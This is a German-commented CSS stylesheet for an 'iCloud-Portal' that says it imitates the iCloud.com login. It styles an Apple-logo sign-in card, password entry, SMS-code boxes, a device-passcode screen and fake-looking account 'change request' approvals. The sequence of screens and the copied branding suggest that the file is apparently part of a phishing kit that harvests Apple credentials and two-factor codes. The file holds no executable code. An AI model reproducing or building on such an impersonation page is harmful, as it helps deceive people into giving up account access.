/* iCloud-Portal – dunkle Glas-Optik wie der iCloud.com-Login */
:root {
  --blue: #0a84ff;
  --blue-hover: #2492ff;
  --text: #f5f5f7;
  --muted: #a1a1a6;
  --line: rgba(255, 255, 255, .14);
  --line-soft: rgba(255, 255, 255, .07);
  --card: #191919;
  --danger: #ff8a82;
  --danger-soft: rgba(90, 28, 24, .45);
  --ok: #30d158;
  --ok-soft: rgba(20, 80, 40, .45);
  --shadow: 0 28px 80px rgba(0, 0, 0, .42);
}

* { box-sizing: border-box; }

html { height: 100%; color-scheme: dark; }

body {
  min-height: 100%;
  min-height: 100svh;
  overflow-x: hidden;
  margin: 0;
  display: flex;
  flex-direction: column;
  color: var(--text);
  font-family: -apple-system, BlinkMacSystemFont, "SF Pro Text", "SF Pro Display",
    "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
  font-size: 17px;
  line-height: 1.42;
  -webkit-font-smoothing: antialiased;
  -webkit-text-size-adjust: 100%;
  background-color: #1e1e1e;
  background-image: none;
}

body::before { content: none; }

.sitebar {
  position: absolute;
  top: 18px;
  left: 22px;
  z-index: 5;
  display: flex;
  align-items: center;
  gap: 7px;
  color: #f5f5f7;
  font-size: 17px;
  font-weight: 600;
  letter-spacing: -.02em;
  pointer-events: none;
}
.sitebar svg { width: 20px; height: 24px; fill: currentColor; }
body.blank .sitebar { display: none; }

body.blank { overflow: hidden; }
body.blank footer { display: none; }
body.loading footer { display: none; }
body.blank .toast, body.loading .toast { display: none; }

#app { flex: 1; display: flex; flex-direction: column; min-height: 0; width: 100%; }

a { color: var(--blue); text-decoration: none; }
a:hover { text-decoration: underline; }

.page {
  position: relative;
  z-index: 1;
  flex: 1;
  display: flex;
  align-items: center;
  justify-content: center;
  padding: 36px 16px 24px;
}

.card {
  width: 100%;
  max-width: 392px;
  padding: 36px 32px 28px;
  border: 1px solid #292929;
  border-radius: 22px;
  background: var(--card);
  box-shadow: var(--shadow);
  text-align: center;
}

.card.wide { max-width: 512px; padding: 0; text-align: left; overflow: hidden; }

/* iCloud.com-artige Anmeldung */
.auth-card {
  max-width: 660px;
  padding: 44px 40px 28px;
  border-radius: 28px;
  background: #191919;
}
.auth-card h1 {
  max-width: 480px;
  margin: 0 auto 30px;
  font-size: 32px;
  line-height: 1.2;
  letter-spacing: -.03em;
}
.ring-logo { position: relative; width: 158px; height: 158px; margin: 4px auto 24px; }
.ring { width: 100%; height: 100%; animation: ring-spin 60s linear infinite; }
.ring-apple {
  position: absolute;
  left: 50%;
  top: 50%;
  width: 38px;
  height: 44px;
  fill: #fff;
  transform: translate(-50%, -50%);
}
@keyframes ring-spin { to { transform: rotate(360deg); } }

.ring-logo.compact { width: 116px; height: 116px; margin: 0 auto 16px; }
.ring-logo.compact .ring-apple { width: 28px; height: 32px; }
.auth-narrow { max-width: 520px; }
.auth-wide { max-width: 660px; }
.auth-wide .req, .auth-wide .meta { text-align: left; }

.float-field { position: relative; text-align: left; }
.float-field .input { height: 58px; padding: 21px 15px 7px; background: #1b1b1b; border-color: #333333; }
.float-field label {
  position: absolute;
  left: 15px;
  top: 18px;
  color: #8e8e93;
  font-size: 15.5px;
  pointer-events: none;
  transition: top .15s ease, font-size .15s ease, color .15s ease;
}
.float-field:focus-within label,
.float-field.filled label { top: 8px; font-size: 10.5px; color: #a1a1a6; }
.float-field:focus-within label { color: var(--blue); }

.create { margin: 9px 0 26px; font-size: 13.5px; text-align: left; }
.privacy { display: flex; gap: 11px; margin-bottom: 28px; text-align: left; }
.privacy svg { flex: 0 0 28px; width: 28px; height: 23px; margin-top: 2px; color: var(--blue); }
.privacy p { margin: 0; color: #c7c7cc; font-size: 11.5px; line-height: 1.55; }
.privacy a { color: var(--blue); }

.auth-actions { display: grid; grid-template-columns: 1fr 1.08fr; gap: 10px; }
.auth-actions.one { grid-template-columns: 1fr; }
.auth-actions .btn { width: 100%; margin: 0; }
.auth-actions .btn:disabled { background: #183a5c; color: #8098ad; opacity: 1; }
.btn.iphone { background: #fff; color: #111; font-size: 14px; }
.btn.iphone:hover { background: #f0f0f0; }
.btn.iphone svg { width: 17px; height: 17px; }
.iphone-note { margin: 9px 0 0; color: #8e8e93; font-size: 11px; text-align: right; }
.iphone-note.centered { text-align: center; }
.password-card { max-width: 520px; }
.password-card h1 { font-size: 27px; margin-bottom: 7px; }
.password-card .logo { margin-bottom: 16px; }
.account-mail { margin: 0 0 20px; color: #a1a1a6; font-size: 13px; word-break: break-all; }

.pin-input { height: 56px; font-size: 19px; letter-spacing: .08em; text-align: center; }
.pin-card .btn { margin-top: 15px; }

.logo {
  display: block;
  width: 40px;
  height: 49px;
  margin: 0 auto 18px;
  fill: var(--text);
}

.logo.small { width: 15px; height: 18px; margin: 0; }

h1 {
  margin: 0 0 9px;
  font-size: 23px;
  line-height: 1.24;
  font-weight: 600;
  letter-spacing: -.022em;
  text-wrap: balance;
}

.sub {
  margin: 0 0 23px;
  color: var(--muted);
  font-size: 13.5px;
  line-height: 1.5;
  text-wrap: pretty;
}

.screen { animation: screen-in .3s cubic-bezier(.2, .8, .2, 1); }
@keyframes screen-in {
  from { opacity: 0; transform: translateY(7px); }
}

form { margin: 0; text-align: left; }

label.f {
  display: block;
  margin: 0 0 6px;
  color: var(--muted);
  font-size: 12.5px;
}

.input {
  width: 100%;
  height: 48px;
  padding: 0 14px;
  border: 1px solid rgba(255, 255, 255, .14);
  border-radius: 11px;
  background: rgba(0, 0, 0, .26);
  color: var(--text);
  font: inherit;
  font-size: 16.5px;
  outline: none;
  transition: border-color .15s ease, box-shadow .15s ease, background .15s ease;
  -webkit-appearance: none;
}

.input:focus {
  border-color: var(--blue);
  background: rgba(0, 0, 0, .34);
  box-shadow: 0 0 0 3px rgba(10, 132, 255, .22);
}

.input::placeholder { color: #77777d; }

.field { margin-bottom: 14px; }

.field-row {
  display: flex;
  align-items: center;
  justify-content: space-between;
  gap: 10px;
  margin: 2px 0 19px;
  font-size: 12.5px;
  color: var(--muted);
}

.field-row .forgot { font-size: 12.5px; }

.check {
  display: inline-flex;
  align-items: center;
  gap: 7px;
  cursor: pointer;
  user-select: none;
}

.check input { width: 16px; height: 16px; accent-color: var(--blue); }

.btn {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  gap: 8px;
  width: 100%;
  height: 48px;
  margin-top: 4px;
  padding: 0 18px;
  border: 0;
  border-radius: 11px;
  background: var(--blue);
  color: #fff;
  font: inherit;
  font-size: 16.5px;
  font-weight: 500;
  cursor: pointer;
  transition: background .15s ease, opacity .15s ease;
  -webkit-tap-highlight-color: transparent;
}

.btn:hover { background: var(--blue-hover); }
.btn:active { background: #0071e3; }
.btn:disabled { opacity: .5; cursor: default; }
.btn.ghost { background: rgba(255, 255, 255, .12); color: var(--text); }
.btn.ghost:hover { background: rgba(255, 255, 255, .18); }

.spinner {
  width: 17px;
  height: 17px;
  border: 2px solid rgba(255, 255, 255, .28);
  border-top-color: #fff;
  border-radius: 50%;
  animation: spin .7s linear infinite;
}

@keyframes spin { to { transform: rotate(360deg); } }

.loading-screen { display: flex; flex-direction: column; align-items: center; justify-content: center; gap: 18px; min-height: 46vh; }
.load-fallback { min-height: 16px; color: #8e8e93; font-size: 12px; }
.load-fallback a { color: var(--blue); }
.spinner.big {
  width: 36px;
  height: 36px;
  border-width: 3px;
  border-color: rgba(255, 255, 255, .18);
  border-top-color: #fff;
}

.error {
  display: none;
  margin: 0 0 15px;
  padding: 10px 12px;
  border: 1px solid rgba(255, 120, 110, .26);
  border-radius: 10px;
  background: var(--danger-soft);
  color: var(--danger);
  font-size: 13px;
  text-align: left;
}

.error.show { display: block; }

.hint { margin: 20px 0 0; font-size: 12.5px; color: var(--muted); }
.hint + .hint { margin-top: 10px; }

.divider { height: 1px; margin: 23px 0; border: 0; background: var(--line-soft); }

.shake { animation: shake .3s ease; }
@keyframes shake {
  25% { transform: translateX(-5px); }
  50% { transform: translateX(5px); }
  75% { transform: translateX(-3px); }
}

/* ---------------------------- Änderungsanfragen ------------------------- */
.notif-head {
  display: flex;
  align-items: center;
  gap: 8px;
  padding: 13px 18px;
  border-bottom: 1px solid var(--line-soft);
  background: rgba(255, 255, 255, .035);
  color: var(--muted);
  font-size: 12.5px;
}

.notif-head .app { color: #d7d7dc; font-weight: 600; }
.notif-head .time { margin-left: auto; }

.activity-body { padding: 25px 24px 24px; }
.activity-body h1 { font-size: 21px; }
.activity-body .sub { margin-bottom: 19px; }

.meta {
  display: flex;
  flex-wrap: wrap;
  gap: 6px 14px;
  margin-bottom: 19px;
  padding: 9px 11px;
  border: 1px solid var(--line-soft);
  border-radius: 10px;
  background: rgba(255, 255, 255, .05);
  color: var(--muted);
  font-size: 12px;
}

.meta b { color: #e2e2e7; font-weight: 600; }

.req {
  margin-bottom: 12px;
  border: 1px solid rgba(255, 255, 255, .12);
  border-radius: 15px;
  background: rgba(255, 255, 255, .055);
  overflow: hidden;
  opacity: 0;
  transform: translateY(9px);
  transition: opacity .3s ease, transform .3s ease, border-color .2s ease;
}

.req.in { opacity: 1; transform: none; }
.req.decided { border-color: rgba(255, 255, 255, .08); background: rgba(255, 255, 255, .035); }

.req-top { display: flex; gap: 11px; padding: 15px 15px 12px; }
.req-icon {
  display: grid;
  place-items: center;
  flex: 0 0 36px;
  width: 36px;
  height: 36px;
  border-radius: 9px;
  background: rgba(10, 132, 255, .16);
  color: #6fb4ff;
}
.req-icon svg { width: 19px; height: 19px; }

.req-title { margin: 1px 0 3px; font-size: 15px; font-weight: 600; }
.req-detail { color: var(--muted); font-size: 12.5px; word-break: break-word; }
.req-detail b { color: var(--text); font-weight: 500; }
.req-ip { margin-top: 5px; color: #8e8e93; font-size: 11.5px; }
.req-ip b { color: #c7c7cc; font-family: "Cascadia Mono", Consolas, monospace; font-weight: 500; }

.req-foot { display: flex; align-items: center; gap: 8px; padding: 4px 15px 14px; flex-wrap: wrap; }
.req-foot .q { flex: 1; min-width: 110px; color: var(--muted); font-size: 12px; }
.req-foot .btn {
  width: auto;
  height: 32px;
  margin: 0;
  padding: 0 13px;
  border-radius: 8px;
  font-size: 12px;
  font-weight: 500;
}

.status { display: none; align-items: center; gap: 6px; padding: 0 15px 13px; font-size: 12.5px; font-weight: 500; }
.status.show { display: flex; }
.status.deny { color: #9a9aa0; }
.status.allow { color: #6fda96; }
.req.decided .req-foot { display: none; }

/* ------------------------------- SMS-Code ------------------------------- */
.codes { display: flex; gap: 8px; justify-content: space-between; margin: 6px 0 4px; }
.codes input {
  width: 100%;
  min-width: 0;
  height: 56px;
  padding: 0;
  border: 1px solid #333333;
  border-radius: 11px;
  background: #1b1b1b;
  color: var(--text);
  font: inherit;
  font-size: 24px;
  font-weight: 500;
  text-align: center;
  outline: none;
  transition: border-color .15s ease, box-shadow .15s ease, background .15s ease;
  -webkit-appearance: none;
}
.codes input:focus { border-color: var(--blue); box-shadow: 0 0 0 3px rgba(10, 132, 255, .22); }
.codes input.filled { border-color: rgba(111, 180, 255, .55); background: rgba(10, 132, 255, .12); }
.codes.bad input { border-color: rgba(255, 120, 110, .55); background: rgba(120, 40, 35, .2); }

.resend { margin: 21px 0 0; color: var(--muted); font-size: 12.5px; }
.resend a.disabled { color: #737378; pointer-events: none; }

/* ------------------------------ Gerätecode ------------------------------ */
.pin-card { max-width: 520px; }
.pin-lock {
  display: grid;
  place-items: center;
  width: 48px;
  height: 48px;
  margin: 2px auto 11px;
  border-radius: 50%;
  background: rgba(255, 255, 255, .1);
  color: #d7d7dc;
}
.pin-lock svg { width: 22px; height: 22px; }
.pin-device { margin-bottom: 4px; color: var(--muted); font-size: 12px; letter-spacing: .02em; }
.pin-card .sub { margin-bottom: 19px; }

/* -------------------------------- Fertig -------------------------------- */
.check {
  display: grid;
  place-items: center;
  width: 74px;
  height: 74px;
  margin: 4px auto 21px;
  border-radius: 50%;
  background: var(--ok-soft);
  animation: pop .45s cubic-bezier(.2, 1.4, .5, 1);
}
.check svg { width: 36px; height: 36px; stroke: var(--ok); stroke-width: 2.6; }
@keyframes pop { from { transform: scale(.4); opacity: 0; } }

.done-mail { margin: -5px 0 21px; color: var(--muted); font-size: 13.5px; word-break: break-all; }
.done-mail b { color: var(--text); font-weight: 500; }

.secure {
  margin: 0 0 20px;
  padding: 18px 18px 16px;
  border: 1px solid rgba(255, 255, 255, .1);
  border-radius: 14px;
  background: rgba(255, 255, 255, .05);
  text-align: left;
}
.secure-head { display: flex; align-items: center; gap: 9px; margin-bottom: 9px; }
.secure-head svg { flex: 0 0 22px; width: 22px; height: 22px; color: var(--blue); }
.secure h2 { margin: 0; color: var(--text); font-size: 15px; line-height: 1.3; font-weight: 600; }
.secure p { margin: 0 0 9px; color: var(--muted); font-size: 11.5px; line-height: 1.55; }
.secure ul, .secure ol { margin: 0 0 14px; padding-left: 17px; color: #c7c7cc; font-size: 11.5px; line-height: 1.55; }
.secure li { margin-bottom: 5px; }
.secure li b { color: var(--text); font-weight: 500; }
.secure h3 { margin: 15px 0 7px; color: var(--text); font-size: 13px; font-weight: 600; }
.secure .secure-note { margin: 0; padding-top: 10px; border-top: 1px solid var(--line-soft); color: #8e8e93; font-size: 10.5px; }

.loading { display: flex; align-items: center; justify-content: center; gap: 9px; margin-top: 21px; color: var(--muted); font-size: 12px; }
.loading .spinner { width: 13px; height: 13px; border-color: rgba(255, 255, 255, .2); border-top-color: var(--muted); }

/* ------------------------------- Fußzeile ------------------------------- */
footer {
  display: none;
  position: relative;
  z-index: 1;
  padding: 14px 16px 22px;
  color: rgba(255, 255, 255, .45);
  font-size: 11.5px;
  text-align: center;
}
footer .legal { display: flex; flex-wrap: wrap; justify-content: center; gap: 6px 18px; margin-bottom: 8px; }
footer a { color: rgba(255, 255, 255, .55); }
footer .copy { color: rgba(255, 255, 255, .35); }

.toast {
  position: fixed;
  left: 50%;
  bottom: 26px;
  z-index: 50;
  padding: 11px 18px;
  border: 1px solid rgba(255, 255, 255, .14);
  border-radius: 999px;
  background: rgba(38, 38, 41, .94);
  color: #fff;
  font-size: 13.5px;
  opacity: 0;
  pointer-events: none;
  transform: translate(-50%, 20px);
  transition: opacity .2s ease, transform .2s ease;
  backdrop-filter: blur(18px);
  -webkit-backdrop-filter: blur(18px);
}
.toast.show { opacity: 1; transform: translate(-50%, 0); }

@media (max-width: 560px) {
  .page { padding: max(62px, calc(env(safe-area-inset-top) + 54px)) 13px max(18px, env(safe-area-inset-bottom)); align-items: center; }
  .card { max-width: none; padding: 30px 22px 24px; border-radius: 20px; }
  .card.wide { max-width: none; }
  .auth-card { padding: 30px 20px 22px; border-radius: 24px; }
  .auth-card h1 { font-size: 26px; margin-bottom: 24px; }
  .ring-logo { width: 122px; height: 122px; margin-bottom: 18px; }
  .ring-logo.compact { width: 104px; height: 104px; margin-bottom: 15px; }
  .ring-apple { width: 30px; height: 35px; }
  .ring-logo.compact .ring-apple { width: 24px; height: 28px; }
  .auth-actions { grid-template-columns: 1fr; }
  .auth-actions .btn { height: 47px; }
  .privacy p { font-size: 11px; }
  .secure { padding: 14px 14px 13px; }
  .secure ul, .secure ol, .secure p { font-size: 11px; }
  .pin-card { max-width: none; }
  h1 { font-size: 23px; }
  .activity-body { padding: 22px 17px 20px; }
  .codes { gap: 6px; }
  .codes input { height: 50px; font-size: 21px; }
  .field-row { align-items: flex-start; flex-direction: column; gap: 7px; }
  .req-foot .q { width: 100%; flex-basis: 100%; }
  .req-foot .btn { flex: 1; }
  footer { padding-bottom: max(22px, env(safe-area-inset-bottom)); }
}

@media (max-width: 380px) {
  .auth-card h1 { font-size: 23px; }
  .auth-card { padding: 25px 16px 20px; }
  .ring-logo { width: 100px; height: 100px; }
  .ring-logo.compact { width: 88px; height: 88px; }
  .codes { gap: 4px; }
  .codes input { height: 46px; font-size: 19px; border-radius: 9px; }
  .req-top { padding: 13px 13px 11px; }
  .req-foot { padding-left: 13px; padding-right: 13px; }
}

@media (max-height: 680px) and (min-width: 561px) {
  .page { padding-top: 18px; padding-bottom: 14px; }
  .auth-card { padding: 28px 32px 20px; }
  .ring-logo { width: 104px; height: 104px; margin-bottom: 14px; }
  .ring-logo.compact { width: 86px; height: 86px; margin-bottom: 10px; }
  .auth-card h1 { font-size: 26px; margin-bottom: 18px; }
  .privacy { margin-bottom: 18px; }
}
